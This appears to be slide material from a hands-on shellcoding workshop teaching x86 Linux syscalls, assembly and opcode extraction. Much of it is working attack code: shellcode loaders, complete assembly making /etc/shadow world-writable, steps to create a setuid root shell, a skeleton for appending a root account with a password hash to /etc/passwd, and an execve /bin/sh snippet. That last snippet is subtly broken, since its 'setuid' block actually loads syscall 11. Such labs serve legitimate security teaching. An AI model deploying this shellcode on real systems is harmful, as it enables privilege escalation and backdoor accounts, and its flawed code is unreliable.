Basic Shellcoding Lab

By dash

Intro

- This is *not* shellscripting
- We are sending opcodes to the cpu
- You want to put this into your heaps and stacks
- Or just code assembly for fun :)

Prerequisites

- Assembler: nasm / gas / as
- C Compiler: gcc
- Interpreter: python2/3
- Shellnoob

  https://github.com/reyammer/shellnoob
- Objdump
- ascii_converter.py

  http://hack4.org/talks/shellcodelab/ascii_converter.py

CPU Registers

EAX → Accumulator

EBX → Baseregister

ECX → Counter

EDX → Data

ESI → Source Index

EDI → Dest. Index

ESP → StackPointer

EIP → Instruction Ptr

32 BIT Registers

CPU Registers

- EAX/EBX/ECX/EDX (32 BiT)
- AX/BX/CX/DX (16BiT)
- AH/BH/CH/DH (Higher 8Bit)
- AL/BL/CL/DL (Lower 8Bit)

Syscall

- What is a syscall?
- *nix using Syscalls!
- man 2 syscall
- Quite some differences in number 32/64bit

/usr/include/asm/unistd_32.h

/usr/include/asm/unistd_64.h

Syscall Examples

32BIT

- exit 1
- read 3
- write 4
- open 5
- close 6
- execve 11
- chdir 12
- chmod 15
- setuid 23
- kill 37
- reboot 88
- socket 102
- connect 102
- accept 102
- bind 102
- listen 102

64Bit

- exit 60
- read 0
- write 1
- open 2
- close 3
- execve 59
- chdir 80
- chmod 90
- setuid 105
- kill 62
- reboot 169
- socket 41
- connect 42
- accept 43
- bind 49
- listen 50

Syscall

EAX	EBX	ECX	EDX
syscall	arg1	arg2	arg3

Syscall

- Different syscalls for different operations
- read/write/open/close …
- Always check “man 2 <syscall>”

  So you know what arguments you need to put on the stack.

Assembly Instructions

- xor - null out registers

  -> xor eax, eax or xor ebx, ebx

- mov - move a value into a register

  -> mov eax, 1 (exit syscall)

- push - push something on the stack

  -> push 0x44434241 (reverse ABCD)

Assembly Instructions

- pop - get something from the stack, put it in register
  -> pop ecx

- nop - nop(trix) do nothing?!??
  -> nop

- inc - increment value in register
  -> inc eax (syscall + 1)

- dec - decrement value in register
  -> dec eax (syscall - 1)

Assembly Instructions

- jmp - jmp to label

  -> jmp shell

- int 0x80 - execute what is prepared

  -> int 0x80

Syscall: exit

```
void _exit(int status);
```

- Register EAX for Syscall (1)
- Register EBX for return-code

Syscall: exit

void _exit(int status);

- Register EAX for Syscall (1)
- Register EBX for return-code

```
BITS 32
global _start

_start:
xor eax, eax
xor ebx, ebx
mov eax, 1
mov ebx, 4
int 0x80
```

Syscall: exit

```
$ nasm -f elf32 exit.asm
$ ld -m elf_i386 exit.o -o exit
$ ./exit
$ ./exit ; echo $?
4
```

```
BITS 32
global _start

_start:
xor eax, eax
xor ebx, ebx
mov eax, 1
mov ebx, 4
int 0x80
```

Syscall: exit

```
$ objdump -d -M intel exit

exit:     file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
 8048060:31 c0                   xor    eax,eax
 8048062:31 db                   xor    ebx,ebx
 8048064:bb 04 00 00 00          mov  ebx,0x4
 8048069:b8 01 00 00 00          mov  eax,0x1
 804806e:cd 80                   int    0x80
```

-d for dissassembly

-M for presenting in Intel Instruction Set

Syscall: exit

```
$ objdump -d -M intel exit

8048060:    31 c0             xor    eax,eax
8048062:    31 db             xor    ebx,ebx
8048064:    b8 01 00 00 00    mov    eax,0x1
8048069:    b3 03             mov    bl,0x3
804806b:    b7 04             mov    bh,0x4
804806d:    66 bb 05 00       mov    bx,0x5
8048071:    bb 06 00 00 00    mov    ebx,0x6
8048076:    cd 80             int    0x80
```

- Remember we can address ebx/bx/bl/bh
- Btw. Those things are our opcodes

Getting the Opcodes

- ./shellnoob.py --from-obj exit --to-c exit.c

  Result:

  char shellcode[] =
  "\x31\xc0\x31\xdb\xbb\x05**\x00**”

  “**\x00\x00**\xb8\x01**\x00\x00\x00**”

  “\xcd\x80";

Argl Nullbytes

- So, 0x00 will terminate a string
- Pretty bad for us, having this on the stack

  → remove NULLBYTES
- For now, just recall the different registers we have

Argl Nullbytes

- So, 0x00 will terminate a string
- Pretty bad for us, having this on the stack

  → remove NULLBYTES
- For now, just recall the different registers we have

Argl Nullbytes

```
08048060 <_start>:
 8048060:31 c0                   xor    eax,eax
 8048062:31 db                   xor    ebx,ebx
 8048064:b3 04                   mov    bl,0x4
 8048066:b0 01                   mov    al,0x1
 8048068:cd 80                   int    0x80
```

- use it with shellnoob

  $ ./shellnoob.py --from-obj exit-no0 --to-c no0.c

  $ cat no0.c

  char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";

Execute our Shellcode (old)

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";

int main(void)
{
int *ret;

    printf("scode len: %d\n",strlen(shellcode));
    ret = (int *)&ret+2;
    *ret = (int)shellcode;
return 0;
```

Execute our Shellcode (old)

```
$ ./exit; echo $?
$ 0
```

- Hm, that should be four, no?

Execute our Shellcode (old)

- Works on systems without stack protection
- The problem is the memory are we are writing our shellcode to. We cannot write and execute.

  (Non-Executeable Stack)

- Several solutions, we go with mapping our area to write to.

Execute our Shellcode-MMAP

```
#include <string.h>
#include <sys/mman.h>

char shellcode[] = "\x31\xc0\x31\xdb\xb3\x04\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
  // Allocate some read-write memory
  void *mem = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

  // Copy the shellcode into the new memory
  memcpy(mem, shellcode, sizeof(shellcode));

  // Make the memory read-execute
  mprotect(mem, sizeof(shellcode), PROT_READ|PROT_EXEC);

  // Call the shellcode
  int (*func)();
  func = (int (*)())mem;
  (int)(*func)();

  // Now, if we managed to return here, it would be prudent to clean up the memory:
  munmap(mem, sizeof(shellcode));

  return 0;
}
```

Break anyone?

Recap

- Registers
- Simple Stack Layout
- Exit shellcode
- How to run it on old style and mmap

Of course exit is usually pretty useless for us, so lets do something more helpful

chmod 0777 /etc/shadow

- Syscall chmod: 15

  int chmod(const char *pathname, mode_t mode);

  Eax: chmod (15)

  Ebx: *pathname (ptr from stack)

  Ecx: mode (0x1ff)

- Code:

  mov ecx, 0x1ff

  push <string onto stack with null terminator>

  mov ebx, esp

  mov al, 15

chmod 0777 /etc/shadow

- push data on the stack
- you need to terminate the string
- use tool ascii_converter.py
- String: 776f646168732f6374652f

create your push instructions (4 bytes)

```
push    ebx             ;null terminator
push    0x776f6461      ;/etc/shadow
push    0x68732f63
push    0x74652f2f
```

- store address of the string into ebx

  ```
  mov     ebx, esp
  ```

- dont forget to add an exit after all you dont want to leave a segfault

chmod 0777 /etc/shadow

```
<xor used registers>
;chmod
mov     ecx, 0x1ff    ;0777
push    ebx           ;null terminator
push    0x??          ;/etc/shadow
push    0x??
push    0x??
mov     ebx, esp
mov     eax, ??
int     0x80

;exit
xor     eax, eax
xor     ebx, ebx
mov     eax, ??
int     0x80
```

chmod 0777 /etc/shadow

```
<xor used registers>
;chmod
mov     ecx, 0x1ff    ;0777
push    ebx           ;null terminator
push    0x??          ;/etc/shadow
push    0x??
push    0x??
mov     ebx, esp
mov     eax, ??
int     0x80

;exit
xor     eax, eax
xor     ebx, ebx
mov     eax, ??
int     0x80
```

```
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx

;chmod
mov     ecx, 0x1ff      ;0777
push    ebx             ;null terminator
push    0x776f6461      ;/etc/shadow
push    0x68732f63
push    0x74652f2f
mov     ebx, esp        ;put the address of esp to ebx (shadow)
mov     eax, 15
int     0x80

;exit
xor     eax, eax
xor     ebx, ebx
mov     eax, 1
int     0x80
```

setuid r00tshell

- Create a local mmap shellcode which will give 4777 permissions to a shell placed somewhere on the filesystem. NO NULLBYTES!
- Download the shell.c file here && compile it

  chown it to root:

  http://hack4.org/talks/shellcodelab/shell.c
- Shellcode doing == chmod 4777 shell

setuid r00tshell

- HOWTO:
  - Chmod
  - Exit
  - check with objdump for nullbytes
  - remove them(use other registers, not pushb 0x0)
  - compile the shell and put it somewhere, chown by hand to root
  - Use your shellcode with mmap to change the permissions of the file

  Result:

  $ ./r00tshell

  # id

  uid=0(root) gid=1000(shell) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(shell)

setuid r00tshell

- Create a local mmap shellcode which will give 4777 permissions to a shell placed somewhere on the filesystem. NO NULLBYTES!
- Download the shell.c file here && compile it

  chown it to root:

  http://hack4.org/talks/shellcodelab/shell.c
- Shellcode doing == chmod 4777 shell

setuid r00tshell

Problems?

adduser to /etc/passwd

- man 2 open
- man 2 write
- man 2 close(we ignore that for now :))

- open

  eax ebx ecx

  open(const char *pathname, int flags);

- write

  eax ebx ecx edx

  ssize_t write(int fd, const void *buf, size_t count);

adduser to /etc/passwd

/usr/include/bits/fcntl.h

/usr/include/bits/fcntl-linux.h

```
# define O_CREAT       0100
# define O_EXCL        0200
# define O_NOCTTY      0400
# define O_TRUNC      01000
# define O_APPEND     02000 <--- we want to append
# define O_NONBLOCK    04000
```

- how to convert this?

  $ gdb --quiet --batch -ex 'print /x 02000 | 01'

  $1 = 0x401

adduser to /etc/passwd

```
;open
mov eax, ?? syscall ??
push nullbyte
mov ebx, push path of /etc/passwd
mov stackpointer to register
mov ecx, ?? flags ??
int 0x80
```

```
;write
ret value(file descriptor) is in eax, so lets grab it:
xor ebx
mov fd to register
xor eax, eax
mov al, ?? syscall
push nullbyte
push <user you want to add>
mov ecx, (len of the userentry)
int 0x80
```

- Return values are saved in EAX
- Remember:

  int open(const char *pathname, int flags);

adduser to /etc/passwd

- You can use the crypt_des_tool.py

  ./crypt_des_tool.py hack3r

- Convert the string to something fitting your assembly code
- The user you want to add, get:

  http://hack4.org/talks/shellcodelab/ascii_convert2.py

- ./ascii_convert2.py hack3r:ABHmse9Zk8sNI:0:0::/root:/bin/bash

adduser to /etc/passwd

- Watch out for:

  Nulltermination of the strings

  Lonely bytes (push byte)

  Missing Newline

- Hint:

  push byte 0x0a

adduser to /etc/passwd

Build your own adduser assembly code (15m)

42

```
;setuid
xor     eax, eax
mov     ebx, eax
mov     eax, 11
int     0x80

;execve
xor     ecx, ecx
push    ecx
push    0x69732f2f
push    0x6e69622f
mov     ebx, esp
mov     edx, 0x00000000
xor     eax, eax
mov     eax, 11
int     0x80
```

- Thats Execve, far from being perfect.
- Impr0ve!
- Btw. Thats it!

Thanks for your attention!